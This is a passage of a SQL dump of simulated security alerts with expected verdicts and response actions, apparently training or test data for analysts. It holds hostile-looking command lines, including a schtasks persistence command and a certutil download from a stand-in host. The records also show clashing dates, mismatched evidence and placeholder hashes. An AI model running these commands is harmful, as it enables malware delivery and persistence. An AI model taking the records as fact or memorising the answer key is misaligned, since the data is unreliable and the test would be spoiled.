techniques\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account associated with unauthorized access\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.614Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:22Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process\\\":\\\"schtasks.exe\\\",\\\"command_line\\\":\\\"schtasks /create /tn \\\\\\\"SystemUpdate\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_script.ps1\\\\\\\" /sc onlogon\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_script.ps1\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.614Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:22Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process\\\":\\\"schtasks.exe\\\",\\\"command_line\\\":\\\"schtasks /create /tn \\\\\\\"SystemUpdate\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_script.ps1\\\\\\\" /sc onlogon\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_script.ps1\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.614Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:22Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process\\\":\\\"schtasks.exe\\\",\\\"command_line\\\":\\\"schtasks /create /tn \\\\\\\"SystemUpdate\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_script.ps1\\\\\\\" /sc onlogon\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_script.ps1\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.614Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:22Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process\\\":\\\"schtasks.exe\\\",\\\"command_line\\\":\\\"schtasks /create /tn \\\\\\\"SystemUpdate\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_script.ps1\\\\\\\" /sc onlogon\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_script.ps1\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.614Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:22Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process\\\":\\\"schtasks.exe\\\",\\\"command_line\\\":\\\"schtasks /create /tn \\\\\\\"SystemUpdate\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_script.ps1\\\\\\\" /sc onlogon\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_script.ps1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(929, 'Lateral Movement: Spreading the Ransomware', 'critical', 'Network traffic analysis', 'The attackers have successfully moved laterally within the network, deploying ransomware to multiple systems. This step involves using compromised credentials to access network shares and execute malicious payloads, exponentially increasing the impact and demanding higher ransom.', 'Lateral Movement', 'T1076: Remote Desktop Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T03:45:23Z\",\"source_ip\":\"192.168.1.12\",\"destination_ip\":\"10.0.0.45\",\"attacker_ip\":\"203.0.113.57\",\"username\":\"john.doe\",\"filename\":\"ransomware_payload.exe\",\"hash\":\"cf23df2207d99a74fbe169e3eba035e633b65d94\",\"protocol\":\"RDP\",\"action\":\"executed\",\"status\":\"success\"}', '2026-01-15 01:04:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Target system of lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used by attacker.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"cf23df2207d99a74fbe169e3eba035e633b65d94\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus total\",\"verdict\":\"malicious\",\"details\":\"Hash identified as associated with ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"malicious\",\"details\":\"File used to execute ransomware.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"suspicious\",\"details\":\"Compromised user account used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(930, 'Exfiltration: Data Harvesting', 'critical', 'Data loss prevention (DLP) systems', 'In a bid to strengthen their negotiating position, SamSam exfiltrated data, adding a layer of data breach to the incident. Sensitive files were transferred from the internal network to an external IP address associated with known malicious activity.', 'Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:22:07Z\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"file_name\":\"financial_report_q3_2023.xlsx\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"action\":\"exfiltration\",\"status\":\"success\"}', '2026-01-15 01:04:52', '2026-02-16 17:54:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous ransomware attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_documents\",\"verdict\":\"sensitive\",\"details\":\"Contains sensitive financial data\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"suspicious\",\"details\":\"Hash of exfiltrated file\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"internal\",\"details\":\"Username of compromised account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.616Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.616Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.616Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.616Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.616Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(931, 'Ransom Demand: Communication Interception', 'critical', 'Email server logs', 'In the final phase of the attack, the threat actors delivered a ransom note to the victim\'s email, demanding $51,000 in Bitcoin. The attackers used compromised email accounts to send the note and negotiate payment terms, while the actual recovery costs spiraled beyond the ransom demand.', 'Command and Control', 'T1059 - Command and Scripting Interpreter', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:52:36Z\",\"source_ip\":\"203.0.113.54\",\"destination_ip\":\"10.0.0.5\",\"source_email\":\"compromised@victimdomain.com\",\"destination_email\":\"finance@victimdomain.com\",\"email_subject\":\"Urgent: Payment Required\",\"email_body\":\"Your systems have been encrypted. Send $51,000 in Bitcoin to the following address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa. Failure to comply will result in data loss.\",\"attachment_name\":\"Ransom_Note.txt\",\"attachment_hash\":\"eb5e0e0c2e9c2f7b410f51f4b8c8f5e1\",\"compromised_user\":\"j.doe@victimdomain.com\"}', '2026-01-15 01:04:52', '2026-02-16 17:54:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP where the ransom note was delivered.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"compromised@victimdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Investigation\",\"verdict\":\"malicious\",\"details\":\"Employee email account used by attackers to send ransom note.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"eb5e0e0c2e9c2f7b410f51f4b8c8f5e1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash of the ransomware note attachment.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Ransom Demand: Communication Interception\",\"date\":\"2026-02-01T20:32:22.618Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(932, 'Phishing Attempt Detected from Spoofed Domain', 'high', 'Proofpoint', 'A phishing email was received from a spoofed domain with a malicious link embedded. The email purports to be from a trusted source, tricking users into clicking the link.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-16T08:23:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"hostname\":\"jdoe-laptop\",\"email_sender\":\"no-reply@secure-update.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-16 13:02:59', '2026-03-11 03:14:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@secure-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Phishing domain known for credential harvesting\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 50 times for phishing attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are verified malicious through OSINT, confirming a phishing attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt Detected from Spoofed Domain\",\"date\":\"2026-02-01T20:32:22.618Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(933, 'Suspicious Command Line Execution Detected', 'medium', 'Proofpoint', 'A potentially malicious command was executed on a user\'s machine, indicating a possible attempt to gain persistence or execute further attacks.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-01-16T11:12:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"192.168.2.50\",\"username\":\"mjohnson\",\"hostname\":\"workstation-05\",\"command_line\":\"cmd.exe /c echo %TEMP% & certutil -urlcache -f http://suspicious-site.com/file.exe C:\\\\Users\\\\mjohnson\\\\file.exe\"}', '2026-01-16 13:02:59', '2026-03-11 03:06:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"cmd.exe /c echo %TEMP% & certutil -urlcache -f http://suspicious-site.com/file.exe C:\\\\Users\\\\mjohnson\\\\file.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates possible malware download attempt\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://suspicious-site.com/file.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command execution is part of a known malware pattern, downloading and executing malicious payloads.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Command Line Execution Detected\",\"date\":\"2026-02-01T20:32:22.619Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(934, 'Brute Force Login Attempts Detected', 'high', 'Proofpoint', 'Multiple failed login attempts detected against an internal server, indicating a possible brute force attack.', 'Credential Attack', 'T1110', 1, 'Closed', 177, '{\"timestamp\":\"2026-01-16T03:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.89\",\"dst_ip\":\"192.168.10.10\",\"username\":\"administrator\",\"hostname\":\"server01\",\"failed_attempts\":25}', '2026-01-16 13:02:59', '2026-02-22 08:59:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 200 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in brute force attacks\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.10.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a known malicious IP confirms a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Brute Force Login Attempts Detected\",\"date\":\"2026-02-01T20:32:22.620Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(935, 'Malware Download Attempt via Suspicious Domain', 'critical', 'Proofpoint', 'A file download from a known malicious domain was detected, indicating a high likelihood of malware infection.', 'Malware', 'T1129', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T07:30:55Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.50.3\",\"dst_ip\":\"185.199.108.153\",\"username\":\"kwhite\",\"hostname\":\"kwhite-pc\",\"url\":\"http://known-malicious.com/download.exe\",\"file_hash\":\"3d2e7f3b5b2e8c8e6c2f1a5d0e8c9b9a\"}', '2026-01-16 13:02:59', '2026-02-16 17:53:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://known-malicious.com/download.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"file_hash\",\"value\":\"3d2e7f3b5b2e8c8e6c2f1a5d0e8c9b9a\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP used for malware hosting\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.50.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal client machine\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash and URL are confirmed malicious, indicating an active threat.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malware Download Attempt via Suspicious Domain\",\"date\":\"2026-02-01T20:32:22.621Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(936, 'Suspicious Network Connection Detected', 'medium', 'Proofpoint', 'An unusual network connection was established from an internal host to an external IP known for suspicious activity.', 'Data Exfiltration', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-01-16T14:22:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.30.10\",\"dst_ip\":\"45.67.89.101\",\"username\":\"hparker\",\"hostname\":\"hparker-device\",\"domain\":\"suspicious-domain.net\"}', '2026-01-16 13:02:59', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.67.89.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"suspicious-domain.net\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Domain flagged for potential data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.30.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP and domain are flagged as suspicious, suggesting potential data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Network Connection Detected\",\"date\":\"2026-02-01T20:32:22.621Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(937, 'Unusual Login Failure from Known Safe IP', 'low', 'Proofpoint', 'A login failure was detected from an IP address previously verified as safe. No further suspicious activity noted.', 'Credential Attack', 'T1078', 0, 'Closed', 210, '{\"timestamp\":\"2026-01-16T09:12:11Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.10\",\"username\":\"bsmith\",\"hostname\":\"office-01\",\"failed_attempts\":5}', '2026-01-16 13:02:59', '2026-02-26 21:49:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Known safe internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"bsmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user 